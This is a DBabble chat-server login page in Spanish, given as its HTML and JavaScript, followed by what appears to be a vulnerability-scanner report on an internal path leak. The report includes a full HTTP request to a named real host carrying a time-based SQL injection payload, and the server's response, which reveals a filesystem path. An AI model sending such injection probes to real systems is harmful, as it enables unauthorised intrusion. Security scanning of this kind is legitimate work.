Date(); document.loginform.u_hour.value=x.getHours(); document.loginform.u_min.value=x.getMinutes(); document.loginform.u_sec.value=x.getSeconds(); document.loginform.u_day.value=x.getDate();}function PassOK(){ u=document.loginform.user.value; p=document.loginform.pass.value if (p=="") { txt="Invitado".toLowerCase(); txt_len=txt.length; if (u.substring(0,txt_len).toLowerCase()!=txt) return 0; } return 1;}function SubmitCheck(){ u=document.loginform.user.value; if (u=="") { document.loginform.user.focus(); return false; } p=document.loginform.pass.value if (PassOK()==0) { document.loginform.pass.focus(); return false; } FetchDate(); document.loginform.qfiller.value='_'+(new Date()).getTime(); return true;}function Login2(){ FetchDate(); window.name="mainframe" document.loginform.qfiller.value='_'+(new Date()).getTime(); document.loginform.submit();}function Login() { u=document.loginform.user.value; if (u=="") return; if (PassOK()==0) return; Login2();}function KeyCode(evt){ return document.all ? event.keyCode : evt.which ? evt.which : evt.keyCode ? evt.keyCode : evt.charcode;}function PassCheck(e) { if (KeyCode(e)==13) { Login(); return false; } else return true;}function UserCheck(e) { if (KeyCode(e)==13) { if (PassOK()==0) { document.loginform.pass.focus(); return false; } Login2(); return false; } else return true;}function Startup(){ if (window.top!=window && window.location!="/dbabble") { window.location="/dbabble?cmd=top_frame_error"; } window.name="login"}function GuestLogin(){ document.loginform.user.value="Invitado" document.loginform.pass.value=""; Login2();}function GuestLoginClearForm(){ document.loginform.new_window.value="" document.loginform.hide_menu_and_friends.value="" document.loginform.after_login_page.value="" document.loginform.after_logout_page.value="" document.loginform.override_dot_top.value="" document.loginform.override_main_name.value="" document.loginform.override_check_main_window.value="" document.loginform.target=""}function ClearFormSoon(){ setTimeout('GuestLoginClearForm()',2000)}function GuestLoginChatRoomInvite(gid,hide_menu_and_friends, invite_uid){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="3" pv="cmd=chat_list&gid="+gid if (invite_uid>0) { pv=pv+"&invite_hid=511&invite_uid="+invite_uid+"&invite_is_ugroup=0"; } document.loginform.after_login_page.value=pv; GuestLogin(); ClearFormSoon()}function GuestLoginChatRoom(gid,hide_menu_and_friends){ GuestLoginChatRoomInvite(gid,hide_menu_and_friends,0);}function GuestLoginDiscussion(gid,hide_menu_and_friends){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="2" document.loginform.after_login_page.value="cmd=group_items&gid="+gid; GuestLogin(); ClearFormSoon()}function GuestLoginNow(){ GuestLogin(); ClearFormSoon()}function GuestLoginTalkDo2(new_window,window_width, window_height, is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message, sub_frame_name, after_logout_page){ GuestLoginClearForm() txt="uid" if (is_ugroup) txt="ugid" document.loginform.after_logout_page.value=after_logout_page; if (new_window) { document.loginform.new_window.value="true" window.open("", "messageWindow", "width="+window_width+",height="+window_height+",resizable=yes") document.loginform.target="messageWindow" document.loginform.after_logout_page.value="javascript:window.close()" } if (sub_frame_name!="") { if (after_logout_page=="") { document.loginform.after_logout_page.value="blank.htm"; } document.loginform.override_dot_top.value=".top."+sub_frame_name document.loginform.override_main_name.value=sub_frame_name document.loginform.override_check_main_window.value="window.length>1 && window.top.frames[1].name=='"+sub_frame_name+"'" } if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="0" document.loginform.after_login_page.value="cmd=u_talk&hid=511&"+txt+"="+uid+"&talk_first_message="+escape(initial_message)+"&talk_other_first_message="+escape(other_initial_message)+"&talk_request_style="+talk_request_style+"&title_message="+escape(title_message)+"&leave_message="+escape(leave_message)+"&pick_first="+group_pick_first+"&heading_message="+escape(heading_message)+"&alt_message="+escape(alt_message);; document.loginform.window_title.value=title_message; setTimeout("GuestLoginNow()",250);}function GuestLoginTalkDo(new_window,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message){ GuestLoginTalkDo2(new_window,290,190,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message,"","")}function GuestLoginTalk(new_window, is_ugroup, uid,hide_menu_and_friends,initial_message){ other_initial_message="Hi, -NAME- here. How can I help you?" talk_request_style=1 // 0 = Send request to recipient as soon as clicking on the link // 1 = Send request as soon as you start typing // 2 = Send request as soon as you have finished typing a complete line GuestLoginTalkDo(new_window,is_ugroup,0,uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message,'','','','')}// --></script><title>DBabble conexi�n</title></head><body onload="Startup()" BACKGROUND="/img/whttxtr2.jpg"><LINK REL = "stylesheet" TYPE = "text/css" HREF = "/dbabble?cmd_get_js2=dbabble.css"><script language="JavaScript" src="/dbabble?cmd_get_js2=dbabble.js"></script><table bgcolor="black" width=100% border=0><tr> <td width=100% bgcolor="#336699" valign=center align=center><table border=0 cellpadding=0 cellspacing=0 margin=0><tr><td><img src="/img/netwin.gif" alt="Tra�do a usted por el software de NetWin Server - http://netwinsite.com" border=0</img></td><td><font class="huge_font" color="white">DBabble</font></td><td>&nbsp;&nbsp;&nbsp;</td><td><STYLE TYPE="text/css"><!-- A:VISITED.href_encode_class {color:white;} A:LINK.href_encode_class {color:white;}--></STYLE><font color="white">Tra�do a usted por el software de NetWin Server - <a class='href_encode_class' target='notvchat' href='http://netwinsite.com'>http://netwinsite.com</a></font></td></tr></table></td></tr></table><table><table width="100%" cellpadding=0 cellspacing=1 border=0 bgcolor="black"><tr align=center><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="khaki"><font color="black">Lengua:</font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=English&template=Standard"><font color="white">English</font></a><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><font color="white"><b>Espa�ol(Spanish)</b></font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=Deutsch(German)&template=Standard"><font color="white">Deutsch(German)</font></a><spacer type="block" width=10px></td><td bgcolor="steelblue" width="100%">&nbsp;</td></tr></table><br></tr></table><table><tr><td><font color="orange" style="font-size:12pt;"><b>DBabble para Windows</b></font>- Usted debe descargar e instalar el cliente de DBabble Windows 95/98/ME/2000/2003/NT/XP m�s bien que usar este Web page si es posible. Es mucho m�s r�pido y m�s f�cil utilizar. Usted puede descargarlo libremente de aqu�. <a href="/files/DBabble27y_Espa�ol(Spanish).exe" style="font-size:12pt;">Transferencia directa Versi�n 2.7y de DBabble</a>(1,947,161 bytes - debe tomar sobre 5 minutos sobre un m�dem 56K)</td></tr></table><script language="JavaScript"><!--CheckVersion() CheckBrowserVersion()//--></script><NOSCRIPT><b> Advertencia - DBabble requiere un web browser que apoye el Javascript 1,1 o m�s alto.<br>Su web browser no apoya Javascript o usted lo ha inhabilitado en sus preferencias.</b></NOSCRIPT><form style="margin:0" name="loginform" method="POST" target="_top" action="/dbabble"onSubmit="return SubmitCheck()"><table width=100%><tr><th colspan=2 align=left bgcolor=ivory>Nombre Y Contrase�a Del Usuario De la Conexi�n</th><th colspan=2" align=left bgcolor=ivory width=100%>Opciones De la Conexi�n</th></tr><tr><td><table><tr><td nowrap> Nombre de usuario</td><td><input type="text" name="user" value="" size="20" onkeypress="return UserCheck(event)"></td></tr><tr><td nowrap> Contrase�a</td><td> <input type="password" name="pass" value="" size="20" onkeypress="return PassCheck(event)"></td></tr></table></td><td align="LEFT"><input align="LEFT" type="submit" class=spbutton onmouseover="MO(event)" onmouseout="MU(event)" value="Iniciar sesi�n" alt="Iniciar sesi�n" name="Iniciar sesi�n"></td><td><table><tr><td nowrap><input type=hidden name="is_save_password" value="true"><input type=radio name="save_name" value="name">Excepto Nombre</td></tr><tr><td nowrap><input type=radio name="save_name" value="pass">Excepto nombre y contrase�a</td></tr><tr><td nowrap><input type=radio name="save_name" checked value="neither">Ni unos ni otros</td></tr></table></td><td><table><tr><td>Para simplificar el interfaz usted puede ocultar opcionalmente algunas caracter�sticas</td></tr><tr><td>Caracter�sticas:<select name="show_features"><option value="0" selected>Demuestre Todas las Caracter�sticas</option><option value="1" >Mensajes Inmediatos Solamente</option><option value="2" >Grupos de discusi�n solamente</option><option value="3" >Salas de charla solamente</option><option value="4" >Cuartos y discusiones de la charla solamente</option><option value="5" >Cuartos de la charla y mensajes inmediatos solamente</option><option value="6" >Discusiones y mensajes inmediatos solamente</option></select></td></tr></table></td></tr></table><input type="hidden" name="r_login" value="Login"><input type="hidden" name="u_day" value=""><input type="hidden" name="u_hour" value=""><input type="hidden" name="u_min" value=""><input type="hidden" name="u_sec" value=""><input type="hidden" name="qfiller" value=""><input type="hidden" name="window_title" value=""><input type="hidden" name="change_lang" value="Espa�ol(Spanish)"><input type="hidden" name="change_template" value="Standard"><input type="hidden" name="after_login_page" value=""><input type="hidden" name="hide_menu_and_friends" value=""><input type="hidden" name="after_logout_page" value=""><input type="hidden" name="override_dot_top" value=""><input type=hidden name="override_main_name" value=""><input type=hidden name="override_check_main_window" value=""><input type=hidden name="new_window" value="0"></form><script language="JavaScript"><!--document.loginform.user.focus();// --></script>Conexi�n justa usando su nombre y contrase�a normales del usuario del email<br><table width=100%><tr><th align=left bgcolor=ivory>Conexi�n De la Hu�sped</th></tr><tr><td>Usted puede alternativomente conexi�n como hu�sped. Las caracter�sticas de alg�n DBabble no est�n disponibles como hu�sped.</td></tr><tr><td><a href="javascript:GuestLogin()">Conexi�n de la hu�sped</a></td></tr></table><table width=100%><tr><th align=left bgcolor=ivory>Otras Conexiones</th></tr></table><a target='helpwin' href="/help/Espa�ol(Spanish)/Standard/contents.htm">Ayuda En l�nea de DBabble</a><br><a target='helpwin' href="/help/Espa�ol(Spanish)/Standard/password.htm">�Se olvid� de su contrase�a?</a><br><br>En este servidor tenemos 17 los usuarios registradosy los usuarios de 2 est�n actualmente en l�nea.Hay 1 sitio de la charlay hay 1 grupo de discusi�ncontener un total de art�culos de 306.<br><br>Usted puede utilizar DBabble con seguridad pero un directo m�s lento su web browser en <a href="https://netwin.co.nz:8133">https://netwin.co.nz:8133</a><hr>DBabble Linux versi�n del servidor de 2.7z (Aug 25 2004)- Servidor disponible para 340 d�as desde Dom, May 16 2010 4:44 pm<hr><font class=small_font>Powered by Netwin's <a href="http://netwinsite.com/dbabble/index.htm">DBabble secure chat, instant messaging and discussion server</a> software<table cellpadding="1" cellspacing="4"> <tr> <td class=small_font><b><a href="http://www.netwinsite.com">Netwin -- Server Software</a></b></font></td> <td class=small_font><a href="http://netwinsite.com/dnews.htm">DNews -- UseNet News Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/surgemail/index.htm">SurgeMail -- Mail Server Software</a></td> </tr> <tr> <td class=small_font><a href="http://netwinsite.com/webmail/index.htm">WebMail -- Web Mail Client</a></td> <td class=small_font><a href="http://netwinsite.com/surgeftp/index.htm">SurgeFTP -- Ftp Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/dbabble/index.htm">DBabble -- Chat Server, Instant Messaging, Discussions / Forums</a></td> </tr></table></font></body></html>
[Possible] Internal Path Leakage (*nix)

[Possible] Internal Path Leakage (*nix)

1 TOTAL
INFORMATION
Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.

Remediation

External References

- /dbabble

/dbabble

http://smtp.netwin.co.nz:8132/dbabble?cmd_get_js2=%27;WAITFOR%20DELAY%20%270:0:25%27--

Identified Internal Path(s)

/usr/local/dbabble/tpl/

Request

GET /dbabble?cmd_get_js2=%27;WAITFOR%20DELAY%20%270:0:25%27-- HTTP/1.1
Referer: http://smtp.netwin.co.nz:8132/dbabble
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: smtp.netwin.co.nz:8132
Cookie: TEMPLATE=Standard; LANG=English
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: DBabble 2.7z
Content-Length: 95
Connection: close
MIME-version: 1.0
Date: Fri, 22 Apr 2011 00:15:34 GMT
Cache-control: max-age=3600, must-revalidate
Content-Type: text/html


Unable to read (';WAITFOR DELAY '0:0:25'--) (/usr/local/dbabble/tpl/';WAITFOR DELAY '0:0:25'--)